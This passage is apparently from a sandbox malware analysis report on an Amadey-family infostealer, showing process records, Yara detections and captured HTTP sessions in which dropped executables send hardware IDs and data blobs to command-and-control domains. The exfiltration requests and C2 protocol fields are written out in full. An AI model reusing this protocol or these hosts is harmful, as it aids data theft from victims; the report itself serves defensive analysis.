2024-12-18 18:08:44 UTC	15331	OUT	Data Raw: 26 d3 b7 9c d7 5c 73 a9 a7 52 db 9b 98 99 5b 7e f5 48 74 71 ab 7e bb d0 79 17 5b f7 51 f0 72 3e 95 4a 9a 0c c0 3f 91 87 db e7 3c 45 9b 03 cf 0c af c6 30 8e e1 5b 16 44 0d f8 d7 bf f7 20 77 83 99 05 e5 16 ba 20 26 25 a9 de 60 51 3b 1e d6 c4 78 4e 49 e7 b0 df 31 95 51 e6 58 e6 76 6c 67 b7 b6 1b 0c 47 84 3f d1 6d 37 e2 4b 70 3f ed f4 a6 f3 d5 c0 0e 84 6b 3f 42 db b3 5d 9b b3 db 44 1e 91 a6 bf 9e 15 95 db 88 c3 a3 04 57 f0 c0 cf 1c cf f6 39 e0 3c 54 3e cf 21 8f bc 2f 65 13 20 07 12 fb 6e 34 75 b9 34 60 17 cd e1 5e 42 e5 2f 89 f7 62 33 2f da 2d eb cf 10 64 2e 06 20 93 eb 16 c6 21 51 32 ef 2c 8b 3b 05 dd d8 78 36 92 4c a4 c8 6d 38 96 e4 cd 7b 08 f1 4f 24 d5 ed c7 e7 cf 7b b6 89 ca 2b 81 84 d5 d9 fe 66 dd b4 a6 9e 4b 40 4f c9 4c 27 fd 82 fe eb 7d fa 9a ad af 16 Data Ascii: &\sR[~Htq~y[Qr>J?<E0[D w &%`Q;xNI1QXvlgG?m7Kp?k?B]DW9<T>!/e n4u4`^B/b3/-d. !Q2,;x6Lm8{O${+fK@OL'}
2024-12-18 18:08:44 UTC	15331	OUT	Data Raw: 59 ff 30 10 e5 b9 d9 7d 3e ce 80 31 28 9f c8 de c1 1d 09 26 11 c4 57 1d 93 43 f7 24 8c 31 8a 01 62 d1 26 05 4e 1a 24 04 5a c1 ca 30 eb 1e 6f 4c c6 6c fd b6 c5 77 7d 83 8d ab ed 36 e3 a9 e2 39 9c d6 87 8a ff f6 85 cf 6a 97 f1 c4 79 6a 73 31 72 29 d3 2c 4c 6c c6 80 4d 0e dd 33 67 26 b7 1f 4d 22 6d a4 2d 21 bf a1 45 7e 19 56 86 64 9f c9 84 e1 34 ac cc 28 34 ba d7 0c b1 56 93 da 42 e6 12 cb 8f ff 89 0e 23 60 85 e2 94 42 a1 84 0a 81 66 bd 21 93 8a 0f 32 da 56 f6 b8 6e 9b 2e c5 61 c5 6c 68 45 13 ec 30 e9 28 c0 c6 ec bb a8 59 ca 0b 08 22 67 46 05 dd 25 8f b0 5e 30 ac 38 d9 46 9b 12 5b ab 37 67 28 26 5b c0 dc c0 d8 bf 0e a7 02 1e 7d 11 65 88 22 54 d4 82 74 0b da 46 40 71 f7 7d 3b dc d2 7c 10 45 45 e8 03 b6 63 4f 09 f6 5a c6 6c 7c 0f 93 94 ad 2c 75 9d a6 b0 c8 7f Data Ascii: Y0}>1(&WC$1b&N$Z0oLlw}69jyjs1r),LlM3g&M"m-!E~Vd4(4VB#`Bf!2Vn.alhE0(Y"gF%^08F[7g(&[}e"TtF@q};\|EEcOZl\|,u
2024-12-18 18:08:44 UTC	15331	OUT	Data Raw: 4a a0 c6 af ef 21 c1 6f f7 67 36 51 24 da 66 4a cb 6b e4 8a d6 58 78 e1 c8 15 4e 98 62 32 91 ea 0d a0 41 63 2a 5b 8d 88 c0 eb ef c4 9d 2d 42 6e 7e f4 6f a6 ee e1 03 ca 7f 67 7d 73 78 b9 f9 43 34 72 6a 34 0e fb f1 00 db e3 11 ca c8 af f8 fc ee a8 3d 6a ba 70 b9 7d 49 ff 31 57 92 5a 60 4a 08 72 8e 24 e5 a0 1b be e5 20 43 d1 07 88 70 1b c9 c2 25 f1 b4 0f 20 a2 6f 8e 50 06 d3 c1 60 5b 15 10 37 38 40 a1 41 49 4a 2b 6b 3f f8 ab 4f 7d ad bd 85 de 54 a0 52 2f 01 b5 13 11 ab fe 23 d8 dd 75 2c d6 da 0f 5c 01 68 14 de 15 c0 91 ee 48 ed 71 d0 79 18 7b 22 b8 4b 5c ec 4d d5 b6 12 3b 36 e8 22 0a ff 22 46 07 08 22 11 36 6a 59 40 ed 08 af b3 6a f4 dd 18 d6 63 c9 4d 9b c8 b0 92 7d 22 d9 7c 35 1f 01 ef c8 51 fd 37 67 39 0f e3 e1 5b 7b 8d 74 b8 de 34 78 1d 90 7e 6d 64 98 8c Data Ascii: J!og6Q$fJkXxNb2Ac*[-Bn~og}sxC4rj4=jp}I1WZ`Jr$ Cp% oP`[78@AIJ+k?O}TR/#u,\hHqy{"K\M;6""F"6jY@jcM}"\|5Q7g9[{t4x~md
2024-12-18 18:08:50 UTC	1048	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 18:08:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=g3lpko1oqjem4arjpk27eej6uq; expires=Sun, 13-Apr-2025 11:55:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KqRR2iW7xoPCk2xHvUdLw0xpm4a5VolvMZ%2Fdm3ggAzQz3xzisFUDSh75PCFMItBw9jqH2U0AUt4EAVub0JeZBmosoni%2BiLcxys%2BqFG6fSrpsydZT7V1WN2WdQ7hJVcFIMjgXKA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f411995bf7243d4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2015&min_rtt=1648&rtt_var=880&sent=344&recv=553&lost=0&retrans=0&sent_bytes=2843&recv_bytes=569952&delivery_rate=1771844&cwnd=221&unsent_bytes=0&cid=7b8bb16cbda3f295&ts=6598&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49737	172.67.209.202	443	2684	C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 18:08:44 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: pancakedipyps.click
2024-12-18 18:08:44 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-18 18:08:45 UTC	1037	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 18:08:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ia3uggv24m2c9rtb3ees890a5a; expires=Sun, 13-Apr-2025 11:55:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dR4K%2BOPMSCvVbbdp9CPptgtDW3%2BfuicOMzUExJN6oqlClE0ybWN5fH2bsz7EOyA1X7CMDX6XPAtcWGEy6Y9F9RPGPjAAmCETIEmBeY5Rs%2FFcuAilU9eRe6AieyZp6ibF11ak9wWe"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4119966aae7c69-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1783&min_rtt=1772&rtt_var=686&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=910&delivery_rate=1569048&cwnd=171&unsent_bytes=0&cid=a5ae941d810fbb6b&ts=1135&x=0"
2024-12-18 18:08:45 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-18 18:08:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49741	172.67.179.109	443	7240	C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 18:08:47 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=YY71BVQHVGT3WPE4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15070 Host: grannyejh.lat
2024-12-18 18:08:47 UTC	15070	OUT	Data Raw: 2d 2d 59 59 37 31 42 56 51 48 56 47 54 33 57 50 45 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 33 39 37 43 46 32 43 35 45 44 43 37 41 34 31 30 30 44 35 37 46 39 44 44 44 33 37 42 45 30 43 0d 0a 2d 2d 59 59 37 31 42 56 51 48 56 47 54 33 57 50 45 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 59 59 37 31 42 56 51 48 56 47 54 33 57 50 45 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 39 38 39 37 38 33 33 37 30 0d Data Ascii: --YY71BVQHVGT3WPE4Content-Disposition: form-data; name="hwid"5397CF2C5EDC7A4100D57F9DDD37BE0C--YY71BVQHVGT3WPE4Content-Disposition: form-data; name="pid"2--YY71BVQHVGT3WPE4Content-Disposition: form-data; name="lid"yau6Na--6989783370
2024-12-18 18:08:50 UTC	1033	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 18:08:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m6a2m4d2lgr607pstdha45d9is; expires=Sun, 13-Apr-2025 11:55:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PfGfbFO1Hp1zpO4iWJQpsiMYR%2BLJcC3qz%2B5U8qjQKkA3OPfVH4CwLriRqn21sNXALpJ49HPoj94xLpUXZa68Ol2yZebSRp14zIWYEWXOCw5HEMZSDiV9841JV%2FLeRsPU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4119a80dcd4340-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1880&min_rtt=1789&rtt_var=736&sent=15&recv=19&lost=0&retrans=0&sent_bytes=2831&recv_bytes=16005&delivery_rate=1632196&cwnd=217&unsent_bytes=0&cid=70609e260daadded&ts=3647&x=0"
2024-12-18 18:08:50 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 18:08:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49742	172.67.131.246	443	8060	C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 18:08:52 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 77 Host: lossekniyyt.click
2024-12-18 18:08:52 UTC	77	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 39 5a 31 63 79 63 2d 2d 26 6a 3d 26 68 77 69 64 3d 35 33 39 37 43 46 32 43 35 45 44 43 37 41 34 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=9Z1cyc--&j=&hwid=5397CF2C5EDC7A41AC8923850305D13E
2024-12-18 18:08:54 UTC	1039	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 18:08:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gp9oh7nrmalrolu7qvp8gti37u; expires=Sun, 13-Apr-2025 11:55:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cqaMMKsLC86qRHHOo0SVUJjuiymmaUHSqbiZtAWJdsHFOys2GNM5qAsDbEXQzQxGXR60e4jC58GMSbOowrev%2Fqod0SMtSeCrCOCX9nQGFN8eYkPDra6Rqos7euPJ%2BN6AEiibng%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4119c79c078c3b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1938&min_rtt=1932&rtt_var=738&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2842&recv_bytes=978&delivery_rate=1469552&cwnd=231&unsent_bytes=0&cid=cf82a2bf0137bb56&ts=2478&x=0"
2024-12-18 18:08:54 UTC	54	IN	Data Raw: 33 30 0d 0a 4b 43 4d 4f 62 31 4f 4e 63 64 35 66 4c 61 77 70 52 48 4d 4d 65 79 48 78 79 33 75 6e 4b 31 56 65 34 5a 62 4b 4d 36 78 6a 2f 4e 42 7a 66 67 3d 3d 0d 0a Data Ascii: 30KCMOb1ONcd5fLawpRHMMeyHxy3unK1Ve4ZbKM6xj/NBzfg==
2024-12-18 18:08:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49743	172.67.179.109	443	7240	C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 18:08:52 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=RC863KWAVVZ4H User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20542 Host: grannyejh.lat
2024-12-18 18:08:52 UTC	15331	OUT	Data Raw: 2d 2d 52 43 38 36 33 4b 57 41 56 56 5a 34 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 33 39 37 43 46 32 43 35 45 44 43 37 41 34 31 30 30 44 35 37 46 39 44 44 44 33 37 42 45 30 43 0d 0a 2d 2d 52 43 38 36 33 4b 57 41 56 56 5a 34 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 52 43 38 36 33 4b 57 41 56 56 5a 34 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 39 38 39 37 38 33 33 37 30 0d 0a 2d 2d 52 43 38 36 33 4b Data Ascii: --RC863KWAVVZ4HContent-Disposition: form-data; name="hwid"5397CF2C5EDC7A4100D57F9DDD37BE0C--RC863KWAVVZ4HContent-Disposition: form-data; name="pid"3--RC863KWAVVZ4HContent-Disposition: form-data; name="lid"yau6Na--6989783370--RC863K
2024-12-18 18:08:52 UTC	5211	OUT	Data Raw: 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: F3Wun 4F([:7s~X`nO`i
2024-12-18 18:08:58 UTC	1031	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 18:08:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=218mhdh32oe6fpj6o2k9mjv0i8; expires=Sun, 13-Apr-2025 11:55:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FWWh68r8QeJo9krp5zP21UUqs%2B1qhppDbib1xora4tIxJdcCV6P1B12wd6hzTPp2B5RFP3cLvaCx8qlN2SZwvRKrzxGauWDEY9QXio2rgeHV3X1cvnkqPrNxPM8gXwZz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4119c8adff4313-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1759&min_rtt=1739&rtt_var=693&sent=12&recv=24&lost=0&retrans=0&sent_bytes=2830&recv_bytes=21496&delivery_rate=1532808&cwnd=252&unsent_bytes=0&cid=10e71e12c06867bd&ts=5837&x=0"
2024-12-18 18:08:58 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 18:08:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49744	98.85.100.80	443	1096	C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 18:08:57 UTC	52	OUT	GET /ip HTTP/1.1 Host: httpbin.org Accept: /
2024-12-18 18:08:58 UTC	150	IN	HTTP/1.1 502 Bad Gateway Server: awselb/2.0 Date: Wed, 18 Dec 2024 18:08:58 GMT Content-Type: text/html Content-Length: 122 Connection: close
2024-12-18 18:08:58 UTC	122	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49747	172.67.179.109	443	7240	C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 18:09:00 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=8KRTTHFMHDUQUZ82RK4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1268 Host: grannyejh.lat
2024-12-18 18:09:00 UTC	1268	OUT	Data Raw: 2d 2d 38 4b 52 54 54 48 46 4d 48 44 55 51 55 5a 38 32 52 4b 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 33 39 37 43 46 32 43 35 45 44 43 37 41 34 31 30 30 44 35 37 46 39 44 44 44 33 37 42 45 30 43 0d 0a 2d 2d 38 4b 52 54 54 48 46 4d 48 44 55 51 55 5a 38 32 52 4b 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 38 4b 52 54 54 48 46 4d 48 44 55 51 55 5a 38 32 52 4b 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 39 Data Ascii: --8KRTTHFMHDUQUZ82RK4Content-Disposition: form-data; name="hwid"5397CF2C5EDC7A4100D57F9DDD37BE0C--8KRTTHFMHDUQUZ82RK4Content-Disposition: form-data; name="pid"1--8KRTTHFMHDUQUZ82RK4Content-Disposition: form-data; name="lid"yau6Na--69
2024-12-18 18:09:03 UTC	1032	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 18:09:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=oseeqc55e9um8fbqu5se5dccov; expires=Sun, 13-Apr-2025 11:55:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WySfNZD47exWA1y5EucBLqYvVmiKY6DeqUwRehAZDUFh%2BEzSu%2BhMvcjC7G94c0L5u3t%2F1xPvq4fwvrNT926mJOyCVqCYUPaaqiLfj7m2PBuUsQYnAJHal%2BL62quZHljb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4119fc88a34388-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1746&min_rtt=1742&rtt_var=661&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=2183&delivery_rate=1645997&cwnd=221&unsent_bytes=0&cid=d3f8d186d6e82783&ts=3148&x=0"
2024-12-18 18:09:03 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 18:09:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49748	34.226.108.155	443	1096	C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 18:09:06 UTC	52	OUT	GET /ip HTTP/1.1 Host: httpbin.org Accept: /
2024-12-18 18:09:07 UTC	224	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 18:09:07 GMT Content-Type: application/json Content-Length: 31 Connection: close Server: gunicorn/19.9.0 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
2024-12-18 18:09:07 UTC	31	IN	Data Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 0a 7d 0a Data Ascii: { "origin": "8.46.123.189"}

Target ID:	0
Start time:	13:06:58
Start date:	18/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x110000
File size:	3'052'544 bytes
MD5 hash:	D7113B1A5BE08CF46656BCC72D1DA368
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.2030253882.0000000004DB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.2070701830.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:07:01
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xb80000
File size:	3'052'544 bytes
MD5 hash:	D7113B1A5BE08CF46656BCC72D1DA368
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.2101951390.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.2060455777.00000000052C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:07:01
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xb80000
File size:	3'052'544 bytes
MD5 hash:	D7113B1A5BE08CF46656BCC72D1DA368
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.2060964574.0000000004890000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2103555649.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:08:00
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xb80000
File size:	3'052'544 bytes
MD5 hash:	D7113B1A5BE08CF46656BCC72D1DA368
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2646347241.0000000004B50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	13:08:15
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe"
Imagebase:	0x570000
File size:	3'286'016 bytes
MD5 hash:	C00A67D527EF38DC6F49D0AD7F13B393
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
